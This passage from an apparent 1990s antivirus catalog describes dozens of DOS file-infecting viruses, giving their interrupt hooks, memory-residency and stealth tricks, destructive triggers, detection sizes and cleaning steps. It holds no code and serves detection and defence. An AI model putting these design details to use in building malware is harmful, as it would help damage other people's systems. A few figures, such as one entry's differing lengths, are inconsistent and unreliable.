3) If an uninfected file is found, infects it (infects three
   files each time).

Damage:  None.

Detecting Method:  Detectable if  the files increase by 696 bytes

Remarks:
1) The infecting part was badly written, so most of the infected
   files can not be run (Not able to infect and damage).
2) Non memory  resident.
3) Before infecting files, the virus does not hook INT 24h.
   Error message will appear when I/O errors occur.

[Eagl-7705]
Virus Name: Eagl-7705
Virus Type: Parasitic Virus
Virus Length:  7705 bytes

Executing Procedure:
1) Searches for an EXE file in the  current directory.
2) Then creates a COM file with a length of 7705 bytes. The
   contents of the COM file is the virus itself (hidden file).
3) Repeats procedure until all the EXE files in the current
   directory are infected.

Damage:  None

Detecting Method:  Detectable if the lengths of files are 7705
Bytes.

Remarks:  Non memory resident.

[Eno-2430]
Virus Name: Eno-2430
Virus Type: Parasitic Virus.
Virus Length:  Infected COM and EXE file sizes increase by 2430-
               2445 bytes.

PC Vectors Hooked:  INT 21h and INT24h.

Executing Procedure:
1) Checks if it resides in memory. If not, hooks INT 21h,
   installs itself as memory resident and then executes the host
   program.
2) If it already resides in memory, executes the host program
   directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) Before infecting files, Eno-2430 will hook INT 24h first to
   ignore I/O errors.

Damage:  The virus has a counter; after infecting a file, it
subtracts 1 from the counter. When the counter=0,   the virus
will destroy all the data on hard disk.

Detecting Method:  Detectable if the files increase by 2430-2445
bytes.

[Exper-755]
Virus Name: Exper-755
Virus Type: Parasitic Virus
Virus Length:  Infected EXE file sizes increase by 755 bytes
               (Does not infect COM files).

PC Vectors Hooked:  INT 24h

Executing Procedure:
1) Searches for an EXE file in the current directory.
2) Checks if the file is infected. If yes, continues to search.
3) If an uninfected file is found, proceeds to infect it. Does
   not stop searching until all the COM files in the directory
   are infected.

Damage:  None

Detecting Method:  Detectable if the files increase by 755 bytes.

Remarks:
1) Non memory resident.
2) Before infecting, the virus hooks INT 24h first to ignore I/O
   errors.

[Findm-695]
Virus Name: Findm-695
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 695-710 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks if the file is infected. If yes, continues to search.
3) If an uninfected file is found, proceeds to infect it.

Damage:  None

Detecting Method:  Detectable if the files increase by 695-710
bytes.

Remarks:
1) The infecting part of the virus was badly written.  Most of
   the infected files can not be executed normally (The virus is
   not  able to infect and damage).
2) Non memory resident.
3) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[FR-1013]
Virus Name: FR-1013
Virus Type: Parasitic Virus.
Virus Length:  Infected EXE and COM file sizes increase by 1013 -
               1028 bytes.

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks if it resides in memory. If not, hooks INT 21h,
   installs itself as memory resident and   then executes the
   host program.
2) If itself already resides in memory, proceeds to execute the
   host program directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

Damage:  None

Detecting Method:  Detectable if the files increase by 1013-1028
bytes.

[Harm-1082]
Virus Name: Harm-1082
Virus Type: Parasitic Virus.
Virus Length:  Infected COM file sizes increase by 1082 - 1097
               bytes (Does not infect EXE files).

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks if it resides in memory.  If not, it hooks INT 21h,
   installs itself as memory resident and then executes the host
   program.
2) If it already resides in memory, it proceeds to execute the host
   program directly.

Infecting Procedure: The virus infects files by AH=4B in INT 21h.
When an uninfected program is executed, it becomes infected.

Damage:  None

Detecting Method:  Detectable if the files increase by 1082-1097
bytes.

[Hor-2248]
Virus Name: Hor-2248
Virus Type: Parasitic Virus.
Virus Length:  Infected EXE and COM file sizes increase by 2248
               bytes.

PC Vectors Hooked:  INT 21h and INT 24h

Executing Procedure: (The virus cannot run in DOS 5.0)
1) Checks if it resides in memory. If not, it hooks INT 21h, installs
   itself as memory resident and then executes the host program.
2) If it already resides in memory, it proceeds  to execute the host
   program directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) Before infecting, the virus hooks INT 24h first to ignore I/O
   errors.

Damage: None

Detecting Method:  Detectable if the files increase by 2248
bytes.

[Encroach2]
Virus Name: Encroach2
Virus Type: Parasitic Virus.

PC Vectors Hooked:  INT 24h

Executing Procedure:
1) Searches for a COM file in the  current directory.
2) Checks if the file is infected.  If yes, it continues to search.
3) If an uninfected file is found, proceeds to infect it (infects
   only one file each time) .

Damage:  None

Remarks:
1) Non memory resident.
2) Before infecting, the virus will hook INT 24h first to ignore
   I/O errors.

[Encroach]
Virus Name: Encroach
Virus Type: Parasitic Virus.

PC Vectors Hooked:  INT 24h
Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks if the file is infected. If yes, it continues to search.
3) If an uninfected file is found, proceeds to infect it (infects
   only one file each time) .

Damage:  None

Remarks:
1) Non memory resident.
2) Before infecting, the virus will hook INT 24h first to ignore
   I/O errors.

[DWI]
Virus Name: Dwi
Virus Type: Parasitic Virus.
Virus Length:  Infected EXE file sizes increase by 1050-1070
               bytes (Does not infect COM files).

PC Vectors Hooked:  INT 21h and INT 24h

Executing Procedure:
1) Checks if it resides in memory.  If not, it hooks INT 21h,
   installs itself as memory resident and proceeds to execute the
   host program.
2) If it already resides in memory, it proceeds to execute the host
   program directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) Before infecting, the virus will hook INT 24h first to ignore
   I/O   errors.

Damage: None

Detecting Method:  Detectable if the files increase by 1050-1070
bytes.

[Dennis]
Virus Name: Dennis (Has at least two variations)
Virus Type: Parasitic Virus.
PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks if it resides in memory.  If not, it hooks  INT 21h,
   installs itself as memory resident and then executes the
   host program.
2) If it already resides in memory, it proceeds to execute the host
   program directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) When infecting files, Dennis does not hook INT 24h. Error
   message will appear when I/O errors occur.

Damage:  None

[Comsysexe]
Virus Name: Comsysexe (There are several variations)
Virus Type: Parasitic Virus.

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Check if it resides in memory.  If not, it hooks
   INT 21h, installs itself as memory resident and
   then executes the host program.
2) If it already resides in memory, it proceeds to
   execute the host program directly.
Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h.
   When an uninfected program is executed, it
   becomes infected. (infect EXE, COM and SYS
   files)
2) When infecting files, Comsysexe does not hook
   INT 24h.  Error message will appear when I/O
   errors occur.
Damage:  None

[Cruncher]
Virus Name: Cruncher
Virus Type: Parasitic Virus.
PC Vectors Hooked:  INT 21h and INT 24h
Executing Procedure:
1) Check if it resides in memory.  If not, it hooks INT 21h,
   installs itself as memory resident and then executes the host
   program.
2) If it already resides in memory, it proceeds to execute the host
   program directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an
   uninfected program is executed, it becomes infected.
2) Before infecting files, the virus will hook INT 24h first to
   ignore I/O errors.

Damage:  None

[Ice-159]
Virus Name: Ice-159
Virus Type: Parasitic Virus.
Virus Length:  Infected COM file sizes increase by 159 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks if the file is infected. If yes, it continues to search.
3) If an uninfected file is found, it proceeds to infect it (infects
   only one file each time).

Damage:  None

Detecting Method:  Detectable if the files increase by 159 bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  Error
   messages will appear when I/O errors occur.

[Joker3]
Virus Name: Joker3
Virus Type: Parasitic Virus.
Virus Length:  Infected COM file sizes increase by 1084 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks if it resides in memory.  If not, it hooks INT 21h,
   installs itself as memory resident and then executes the host
   program.
2) If it already resides in memory, it proceeds to execute the host
   program directly.

Infecting Procedure: The virus infects files by INT 21h.  When
INT 21h is executed, all the COM files in the current directory
will be infected.  When infecting files, the virus does not hook
INT 24h.  Error message will appear when I/O errors occur.

Damage:  None

Detecting Method:  Detectable if  the files increase by 1084
bytes.

[Mi-Nazi]
Virus Name: Mi-Nazi
Virus Type: Parasitic Virus.

Virus Length:  Infected COM file sizes increase by 1084 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks if the file is infected. If yes, it continues to search.
3) If an uninfected file is found, it proceeds to infect it
   (infects only one file each time).

Damage: The part for virus infection was badly written. The
infected files cannot be executed normally (Furthermore, the
virus is not able to infect and damage).

Remarks:
1) The virus infects files by INT 21h. When INT 21h is executed,
   all   the COM files in the current directory will be infected.
2) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[Tiny-143]
Virus Name: Tiny-143
Virus Type: Memory Resident (OS), COM File infector
Virus Length:  143 bytes

Executing Procedure: Checks whether it is residing in memory. If
not, it will copy itself to absolute address 0060:0000h. Then
hooks INT21h and goes back to the original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected COM file, the virus proceeds
to infect it.

Damage: None

Detecting Method:
1) Date and time of infected files are changed.
2) Infected file sizes increase by 143 bytes.

[Smal-122B]
Virus Name: Smal-122B
Virus Type: Memory Resident(OS), COM & EXE File infector
Virus Length:  122 bytes

Executing Procedure: Checks whether it resides in memory. If not,
the virus copies itself to absolute address 0000:0103h. Then hooks
INT21h and goes back to the original routine. Vectors hooked:
Hooks INT 21h (AX=4B00h) to infect files. If the program to be
executed is an uninfected COM or EXE file and its first byte is
not E9h, the virus proceeds to infect it.

Damage: EXE files are destroyed because of the subsequent head
damaged.

Note: Some interrupts cannot run correctly because the virus has
stayed resident in vector area.

Detecting Method:
1) Date and time of infected files changed.
2) Infected file sizes increase by 122 bytes.

[Printmon]
Virus Name: Printmon
Virus Type: COM File infector
Virus Length: 853 bytes

Executing Procedure: Checks whether it has hooked INT 17h. If
not, virus makes some procedure of INT 17h to stay resident in
memory. Then proceeds to infect all uninfected COM files with
length less than 64000 bytes on current directory and goes back
to the original routine (During infecting period, it hangs INT
24h to prevent divulging its trace when writing).

Vectors hooked: Hooks INT 17h (Printing Function) to change
printing data.

Damage: It will make some mistakes in printing.

Note:  Date and time of infected files do not change.

Detecting Method: Infected file sizes will increase by 853 bytes.

[Tiny-124]
Virus Name: Tiny-124
Virus Type: Memory Resident(OS), COM File infector
Virus Length:  124 bytes

Executing Procedure: Checks whether it resides in memory. If not,
the virus copies itself to absolute address 0050:0103h. Then hooks
INT21h and goes back to the original routine.

Vectors hooked: Hooks INT 21H(AX=4B00h) to infect files. If the
program to be executed is an uninfected COM file and its first
byte is not E9h, virus proceeds to infect it.

Damage: EXE files are destroyed because of  the subsequent head
damaged.

Note: Some interrupts cannot run correctly because virus has
stayed resident in vector area.

Detecting Method:
1) Date and time of infected files changed.
2) Infected file sizes increase by 124 bytes.

[Smal-124]
Virus Name: Smal-124
Virus Type: Memory Resident(OS), COM File infector
Virus Length: 124 bytes

Executing Procedure: Checks whether it is residing in memory. If
not, it copies itself to absolute address  0050:0103h. Then hooks
INT21h and goes back to the original routine.

Vectors hooked: Hooks INT 21H(AX=4B00h) to infect files. If the
program to be executed is an uninfected COM file, virus proceeds
to infect it.

Damage: None

Note: Some interrupts cannot run correctly because the virus has
stayed resident in vector area.

Detecting Method:
1) Date and time of infected files changed.
2) Infected file sizes increase by 124 bytes.

[Troi2]
Virus Name: Troi2
Virus Type: Memory Resident(OS), EXE File infector
Virus Length:  512 bytes

Executing Procedure: Checks whether the current date is before
5/1/1992. If it is, it returns to the original routine directly.
Otherwise, checks whether it is residing in memory. If not, virus
copies itself to absolute address 0000:0200h (The area of
interrupts vectors), hooks INT 21h and goes back to the original
routine.

Vectors hooked:
1) Hooks INT 21h to check whether it is residing in memory.
2) Hooks INT 21H (AH=4Bh) to infect files. If the program to be
   executed is an uninfected EXE file, virus proceeds to infect
   it.

Damage: None

Note: Date and time of infected files do not change.

Detecting Method: Infected file sizes increase by 512 bytes.

[Tver]
Virus Name: Tver
Virus Type: Memory Resident(OS), COM File infector
Virus Length:  308 bytes

Executing Procedure:
Checks whether it is residing in memory. If not, virus copies
itself to  absolute address 0000:0200h (the area of interrupt
vectors), hooks INT 21h and goes back to the original routine.

Vectors hooked:
1) Hooks INT 21h to check whether it is residing in memory.
2) Hooks INT 21H(AH=4Bh) to infect files. If the program to be
   executed is an uninfected COM file and its first byte is E9h,
   the virus proceeds to infect it.

Damage: None

Note: Many virus files' first byte is E9h. In most cases, virus
corrects files' first byte if it is not E9h.

Detecting Method:
1) Date and time of infected files changed.
2) Infected file sizes increase by 308 bytes.

[Wave]
Virus Name: Wave
Virus Type: Memory Resident(OS), COM File infector
Virus Length:  454 bytes

Executing Procedure: Checks whether it is residing in memory. If
not, virus copies itself to absolute address 0000:01ECh (the area
of interrupt vectors), hooks INT 21h and INT 1Ch, changes the
pointer of INT 78h to the address that pointed by original INT
21h. Then goes back to the original routine.

Vectors hooked:
INT 21h:
1) Hooks INT 21h to check whether it remains in memory.
2) Hooks INT 21h (AH=4Bh,AH=3Dh) to infect files. If the program
   to be executed is an uninfected COM, and the combined length of
   program and virus is between 1500 bytes and 64000 bytes and it
   is on C drive (Except A & B drive), then the virus will proceed to
   infect. Otherwise, it will set a flag to be used by INT 1Ch at
   a later time.
INT 1Ch: Hooks INT 1Ch to shake screen from side to side for time
of 33 seconds after a flag is set by INT 21h.

Damage: None

Note: Time and date (Except year) of infected files does not
change. You cannot see the change when you use  Dir" command
because the last two bytes of data have not changed (You would
see some problems on arrangement order if you attach "/od" to
Dir" command).

Detecting Method: Infected file sizes will increase by 454 bytes.

[Zz1]
Virus Name: Zz1
Virus Type: Overwrite, COM File infector
Virus Length:  127 bytes

Executing Procedure: Searches for an uninfected COM file on the
current directory and infects it (Infects only one file at a
time). If there is no file to infect, it changes data in
system RAM to set screen lines to 81. This confuses the screen.

Damage:
1) It overwrites first 127 bytes of original files by virus code.
   Original files are destroyed.
2) Confuses screen if there are no infectable files.

Note: Date and time of infected files does not change.

[Willow]
Virus Name: Willow
Virus Type: Memory Resident, EXE File infector
Virus Length:  1870 bytes

Executing Procedure: Checks whether it has remained in the
memory. If not, hooks INT 14h first, then changes the pointer of
INT FDh to the address that is pointed by INT 21h. Then hooks INT
21h. At last, after all memory is released, gets the name of
Shell executed by system from environment parameter. Executes
this Shell again. Terminates upon re-residing in memory.

Vectors hooked:
1) Hooks INT 21h to check whether it has stay resident in memory.
2) Hooks INT 21h(AH=4Bh) to infect files. If the program to be
   executed is a COM file, it deletes it. If it is a EXE file,
  the virus proceeds to infect it.

Damage: It will delete COM files executed while virus is residing
in memory.

Note: Date and time of infected files does
 not change.

Detecting Method: Infected file sizes increase by 1870-1885
bytes.

[V-66]
Virus Name: V-66
Virus Type: Overwrites, all-File infector
Virus Length:  66 bytes

Executing Procedure: Infects all files on current directory.

Method: changes files' attribute making them writable. Proceeds
to overwrite first 66 bytes with virus code.

Damage: It will overwrite original files with virus code.
Original files are destroyed.

Detecting Method: Date and time of infected files changed.

[VCL-408]
Virus Name: VCL408
Virus Type: Overwrites, EXE & COM File infector
Virus Length:  408 bytes

Executing Procedure: Searches for one uninfected COM or EXE file
on each directory and infects them. Virus records whether initial
infection is successful or not. Subsequent  record will overwrite
original. Last record is record of last infection. The virus checks
this record before terminating. If the record fails, the virus halts
system.

Damage:
1) Files destroyed after becoming infected.
2) Halts system on occasion.

Note:
1) Date and time of infected files does not change.
2) Length of infected files does not change unless the length of
   original files is less than 408. If so, the length of infected
   files becomes 408 bytes.

[SUNDEVIL]
Virus Name: SunDevil
Virus Type: COM File infector
Virus Length:  691 bytes

Executing Procedure: Checks whether current date is MAY 8. If it
is, it destroys the first sector  (Boot sector) on current diskette.
Then it displays a message and repeats call INT 05h. The message is:

    "There is no America. There is no Democracy.
     There is only IBM, ITT, and AT&T.
     This virus is dedicated to all that have been
     busted for computer-hacking activities.
     The SunDevil Virus (C) 1993 by Crypt Keepr
     [SUNDEVIL] "

Otherwise, virus copies itself to absolute address 9000:0000h.
Then hooks INT21h and returns to the original routine.

Vectors hooked: Hooks INT 21h (AH=3D,3E,56, AX=4300,4B00,4B01) to
infect files. If the program to be executed is an uninfected COM
file, the virus proceeds  to infect it.

Damage: It destroys the boot sector of the current diskette if current
date is MAY, 8.

Note: Date and time of infected files does not change.

Detecting Method:
1) Infected file sizes increase by 691 bytes.
2) Above message will manifest when you use Type command.

[Skew-469]
Virus Name: Skew-469
Virus Type: Memory Resident(OS), EXE File infector
Virus Length:  469 bytes

Executing Procedure: Checks whether it resides in memory. If not, it
copies itself to absolute address 0000:0200h, then hooks INT21h
and goes back to the original routine.

Vectors hooked:
1) Hooks INT 21h (AX=4B00h or AH=3Dh) to infect files. First,
 it hangs INT 24h to prevent divulging its trace when writing.
   Then it checks whether the program to be executed is an
   uninfected EXE file. If it is, it proceeds to infect it. Finally,
 it restores INT 24h.
2) Hooks INT 1Ch. Increases value of an address by 1 overtime
   this interrupt called. After the value equals FFFFh, virus
   writes current value to video  card making the screen move up or
   down or from side to side.

Damage: Causes screen to move up to down or from side to side.

Detecting Method:
1) Date and time of infected files change.
2) Infected file sizes increase by 469-469+15 bytes.

[Atas_400]
Virus Name: Atas_400
Virus Type: COM File infector
Virus Length:  400 bytes

Executing Procedure: The virus will decode first, then hang INT
24h to prevent divulging its trace when writing, then change the
head of it. After that, search for a file on current directory to
infect (The file must be an uninfected  COM file, and its length
must be larger than 255 bytes and less than 64256 bytes). At
last, it will check system time. If current second is less than
3, display a message as:

    "I like to travel ...".

Then restore INT 24h and go back to the original routine.

Vectors hooked: Hook INT 24h. Virus will Nullify the function of
dealing with severe mistakes.

Damage: None

Note:
1) Only infect one file once a time.
2) Date and time of infected files changed.

[DM-330]
Virus Name: Dm-330
Virus Type: Memory Resident, COM File infector
Virus Length:  330 bytes

Executing Procedure: The virus will decode first, then check
whether it has stayed resident in  memory. If not, it will move
itself to absolute address from 0000:0208h to 0000:0351h. Then
hook INT21h and go back to the original routine.

Vectors hooked:
1) Hook INT 5Fh. Point to the address which pointed of original
   INT 21h
2) Hook INT 21h to infect files. Virus aroused when system calls
   INT 21h to execute a program(AH=4Bh), change file's attribute
   (AH=43h), change file name(AH=56h), or open file(AH=3Dh). The
   virus will check whether the program to be executed is an
   uninfected COM file. If it is, infect it.

Damage: None

Note:
1) Virus stayed in the area of interrupt vectors. This will cause
   a conflict between virus routine and interrupts vectors
   (address from 0000:0208h to 0000:0351h).
2) Date and time of infected files do not change.

[CLS]
Virus Name: Cls
Virus Type: Memory Resident, COM & EXE File infector
Virus Length:  835 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If not, it will move itself to high memory (It will take
70 pares). Then hook INT21h, INT 08h, INT 13h and go back to the
original routine.

Vectors hooked:
INT 21h:
1) Hook INT21h to check whether it has stayed resident in memory.
2) Hook INT21h to infect files. Virus aroused when system calls
   INT21h to execute a program (AH=4Bh). It will check whether
   the program to be executed is  an uninfected COM file and its
   length is between 129 bytes and 64512 bytes. If it is, infect
   it.
INT 08h: Hook INT 08h (Time interrupt, executed once every 1/18
second). Every time this interrupt executed, value of a counter
increase by 1. When the value is equal to 65520 (About an hour
later), it will clean screen (It has no effect on monochrome
because the cleaning method is writing 00 into the address from
B800:0000h to B800:0FA0h).
INT 13h: Hook INT 13h. This is an assistance to virus's writing.

Damage: It will clean screen once an hour.

Note: Date and time of infected files do not change.

Detecting Method: Infected files will increase by 853 bytes.

[Nouin]
Virus Name: Nouin
Virus Type: Memory Resident, COM & EXE File infector
Virus Length:  855 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If not, it will move itself to high memory. Then hooks
INT21h, INT 09h, INT 83h and goes back to the original routine
(This virus's staying resident method is fairly crude, it needs
the last MCB controlled by DOS in the address when loading
the executed program). Vectors hooked:
1) Hooks INT 83h to store a word to express that the virus has stayed
   resident in memory.
2) Hooks INT 09h to decrease a value by 1 every time you press a
   key. Set a damage_flag when the value decreased to zero.
3) Hooks INT 21h(AH=3Dh,aH=43h,AX=4B00h). It will check whether
   the program to be executed is an uninfected EXE or COM file
   (it would skip SCAN.EXE and CLEAN.EXE). If it is a COM file,
   then it checks if the length of it is not larger than 60000. If it is,
 it will infect it. Then it checks whether the damage_flag is set. If it is,
   it checks if current date is between November 11 and 30. If it is,
 it destroys sectors from 1 to 9  on the current diskette.

Damage: After the virus has stayed resident  in memory, and
the the number of time the keyboard has been struck is equal to a certain value, or
the current date is between November 11 and 30, it will
destroy sectors 1 to 9 on current diskette.

Note: Date and time of infected files does not change.

Detecting Method: Infected files will increase by 855 bytes.

[V-550]
Virus Name: V-550
Virus Type: Memory Resident, EXE File infector
Virus Length:  550 bytes

Executing Procedure: The virus checks whether it has not stayed resident in
memory, and the block of memory which loads current program is
the last MCB. If it is, it will move itself to high memory, then
hook INT21h and go back to the original routine.

Vectors hooked:
1) Hooks INT 21 to check whether it has stayed resident in memory.
2) Hooks INT 21 to check whether the program to be executed is an
   uninfected  EXE file. If it is, it infects it.

Damage: None

Detecting Method:
1) Date and time of infected files changed.
2) Infected files will increase about 550 bytes.
3) The total memory decreased 39 pares after virus has stayed
   resident in memory.

[Angarsk]
Virus Name: Angarsk
Virus Type: COM File infector
Virus Length:  238 bytes

Executing Procedure: Searches for all uninfected COM files on
current or father directories and infects them (Length
of infectable files must be less than 32768 bytes).

Damage: None

Detecting Method:
1) Date and time of infected files changed.
2) Infected files will increase about 238 bytes.

[Enet-613]
Virus Name: Enet-613
Virus Type: COM File infector
Virus Length:  613 bytes

Executing Procedure:
Infects all COM files on current directory (It does not infect
same file again). Then it will check whether current day is
Sunday. If it is, it displays a message and waits until a key is pressed
. Then it changes the word at address 4000:0013h of RAM to 0200h,
and then calls INT 19h to reboot the system.

Damage: None

Note:
1) Date and time of infected files does not change.
2) Infected files will increase from 613-628 bytes.

[Fri-13D]
Virus Name: Fri-13-D
Virus Type: COM File infector
Virus Length:  416 bytes

Executing Procedure: When an infected program is executed, it will
infect all COM files (except COMMAND.COM) on current directory
(it does not infect same file again). Then checks whether current
day is  13 and a Friday. If it is, it deletes itself and then goes
back to the original routine.

Damage: An infected program will delete itself if you run it
on Friday the 13th.

Detecting Method:
1) Date and time of infected files changed.
2) Infected files will increase from  416-431 bytes.

[Ash]
Virus Name: Ash
Virus Type: COM File infector
Virus Length:  4+276 bytes

Executing Procedure: Infects all infectable COM files on current
directory (It does not  infect same file again, and does not
infect file which length is larger than 64768). If the number of
new infected files is less than 2, it will search for infectable
files on its father and father's father directory.

Damage: None

Note: Date and time of infected files changed. Detecting Method:
Infected files will increase by 280 bytes.

[Bljec-1]
Virus Name: Bljec-1
Virus Type: COM File infector
Virus Length:  301 bytes

Executing Procedure: Checks whether current month is September.
If it is, it will format the first 16 sectors of current diskette,
then infects all COM files on current directory.

Damage: It will format first 16 sectors of current diskette if
current month is September.

Note: Date and time of infected files does not change.

Detecting Method: Infected files will increase by 301 bytes.

[Cas-927]
Virus Name: Cas-927
Virus Type: Memory Resident(HiMem), COM File infector
Virus Length:  3+927 bytes

Executing Procedure: The virus will decode first. Then check
whether it has stayed resident in  memory. If not, it will stay
resident in high memory. Then hook INT21h, INT 1Ch, INT 28h and
go back to the original routine.

Vectors hooked:
INT 21h:
1) Hook INT 21h to check whether it has stayed resident in
   memory.
2) Hook INT 21h(AX=4B00h) to infect files. If the program to be
   executed is an uninfected COM file and its length is not
   larger than 63500 bytes, infect it.
INT 28h:
Hook INT 28h to check whether current month is an even month,
current day is Sunday, Tuesday, Thursday, or Saturday, and
current time is 11:11:11. If all these conditions are satisfied, it
will set a damage_flag used by INT 1Ch later.
INT 1Ch:
Hook INT 1Ch to cooperate with INT 28h. When the damage_flag is set,
it will change all capital characters on screen to small
characters.

Damage: None

Note:
1) This virus stays resident in high memory (It will take 7A
   pares).
2) Infected files will increase by 855 bytes.
3) Date and time of infected files do not change.

[CSFK]
Virus Name: Cfsk
Virus Type: Memory Resident(MCB), COM File infector
Virus Length:  5+918 bytes

Executing Procedure: The virus will decode first. Then check
whether it has stayed resident in  memory. If not, stay resident
in memory. Then hook INT21h and go back to the original routine.

Vectors hooked:
1) Hook INT 21h to check whether it has stayed resident in
   memory.
2) Hook INT 21(AH=4Bh) to infect files. If the program to be
   executed is an uninfected COM file and its length is between
   25 bytes and 63500 bytes, it infects it.

Damage: None

Note:
1) This virus stays resident in memory (MCB) (It will take 6A
   pares).
2) Infected files will increase by 918 bytes.
3) Date and time of infected files do not change.

[Warrier1]
Virus Name: Warrier1
Virus Type: Memory Resident(HiMem), COM File infector
Virus Length: 300 bytes

Executing Procedure: The virus will decode first. Then check
whether it has stayed resident in  memory. If not, it stays resident
in high memory. Then hooks INT21h and goes back to the original
routine.

Vectors hooked: Hook INT 21h(AX=4B00h) to infect files. If the
program to be executed is an uninfected COM file (except
COMMAND.COM), it infects it.

Damage: None

Note:
1) This virus stays resident in high memory (It will take 61
   pares).
2) Date and time of infected files do not change.
3) The change of Infected files' length is:
   i) If original files' length is not larger than 768 bytes,
      infected files will be 1536 bytes.
  ii) If original files' length is larger than 768 bytes,
      infected files will increases by 768 bytes.

Cleaning Method: Omit first 768 bytes from infected files.

[Athens]
Virus Name: Athens
Virus Type: Memory Resident(HiMem), COM & EXE File infector
Virus Length: 1,463 bytes

Executing Procedure: The virus will decode first. Then it will
check whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then it hooks INT21h and goes back to the
original routine.

Vectors hooked:
1) Hooks INT 21h to check whether it has stayed resident in
   memory.
2) Hooks INT 21h(AX=4B00h) to infect files. If the program to be
   executed is an uninfected EXE or COM (except COMMAND.COM)
   file, it infects it.
3) Hooks INT 21h (AX=4Eh,4Fh,11h,12h) to check
   whether the current program has been infected. If it has, it
   will change file's length and date in DTA to their original
   data. So, you can not see the change of infected files'
   length and date when the memory was infected.

Damage: None

Note:
1) This virus stays resident in high memory (It will take DFh
   pares).
2) Infected files will increase by 1463 bytes. You can not see
   the increase when the virus is in current memory.
3) Date and time of infected files is changed. You can not see the
   change when the virus is in current memory.

[Commy]
Virus Name: Commy
Virus Type: COM File infector
Virus Length:  998 bytes

Executing Procedure: The virus will decode first. Then it checks
whether current minute is less than 10, and the current DOS
version is above 3.0. If all these conditions are satisfied, it will
search for an COM program (Its length is between 4567 bytes and
64520 bytes), and infect it (It infects only one file once a
time). Then it goes back to the original routine. The searching path
is the path set by current PATH. In addition, when this virus is
infecting a program, it will encode its time to verify that
this file is infected.

Damage: None

Note:
1) Infected files will increase by 998 bytes.
2) The dates of infected files do not change.
3) The time of infected files changed because the original time
   encoded.

[Arriba]
Virus Name: Arriba
Virus Type: Memory resident, COM & EXE File infector
Virus Length: 1,590 bytes

Executing Procedure: Checks whether it has stayed resident in
memory. If it has, it will go back to the original routine
directly. Otherwise, it will move itself to high memory. Then
hook INT21h and check whether current date is November 20. If it
is, hook INT 08h and go back to the original routine.

Vectors hooked: Hook INT 08h to display a message and then halt
system. Hook INT 21h(AX=4B00) to check whether the program being
executed has been infected. If not, it will infect it in
different ways according to its type: If it is a COM file, it
will write virus code into the beginning of original file,
followed by original file's code, and attach 2 bytes of
identified code to the end of file to verify that this file has
been infected. If it is a EXE file, it will attach virus code to
the end of original file's code. Then change the head of file and
attach identified code to the end.

Damage: No other damage action except halting system when INT 08h
called.

Note:
1) The date and time of infected files does not change.
2) The method that the virus moves code is special. First, it will
   test whether the address A0000h is writable. If not, it moves 1000
   bytes of this area to a lower address repeatedly until it finds a
   writable area. Then it moves virus codes into this area. You will
   not see any changes of memory by MEM program because it has not
   changed the size of the memory's blocks. This method may cause
   damage to the virus code, and may even halt system.

Detecting Method: Infected files will increase 1590 bytes.

[Ekoterror]
Virus Name: Ekoterror
Virus Type: Memory Resident(HiMem, COM File  & PARTITION infector
Virus Length: 2,048 bytes

Executing Procedure:
1) When an infected program is executed, it will write virus code
   to the PARTITION. It will not check whether the PARTITION has
   been infected when the virus invades the PARTITION. This would make
   data in the Partition disappear after executing infected
   programs several times.
2) If the virus invades the system when booting up from a hard diskette, it
   will hook INT 08h,INT 13h, and call INT 08h to check whether
   DOS has been loaded. If it has, it hooks INT 21h.

Vectors hooked: Hooks INT 08h to check whether DOS it has been loaded.
If it has, it hooks INT 21h. Hooks INT 13h to check whether the sector
loaded is the PARTITION. If it is, it will revert back or
change the data of the original PARTITION. Hooks INT 21h to infect COM
files when reading or writing files.

Damage: PARTITION destroyed by times of being invaded.

Note:
1) If virus has invaded PARTITION, you can not load or save data
   on the hard diskette if the system booted up from a soft diskette
   (Because the data in PARTITION has changed).
2) If DOS Version is not suitable, or the code of INT 08h does not
   conform to the DOS loading process, the virus can not hook INT 21.
   This time it cannot infect any files.

Cleaning Method: Boot up from an uninfected diskette. Then use a
program that can read or write data on a hard diskette (like
Debug) to write the data of the original PARTITION back (The virus moves
the data of the original PARTITION to 0 side, 0 track, 5 sector. Every
time it is infected, it will add 4 to the number of sectors).

[AST-976]
Virus Name: Ast-976
Virus Type: Memory Resident, COM File infector
Virus Length:  976 bytes

Executing Procedure: The virus will decode first. Then it will
check whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then it hooks INT21h and infects all COM
files on the current directory (It does not infect the same file again).
At last, it checks whether the current minute is 17. If it is, it makes a
little change in the PARTITION to keep the system from booting
correctly.

Vectors hooked:
1) Hooks INT 21h to check whether it has stayed resident in
   memory.
2) Hooks INT 21(AX=4B00h) to infect files. If the program to be
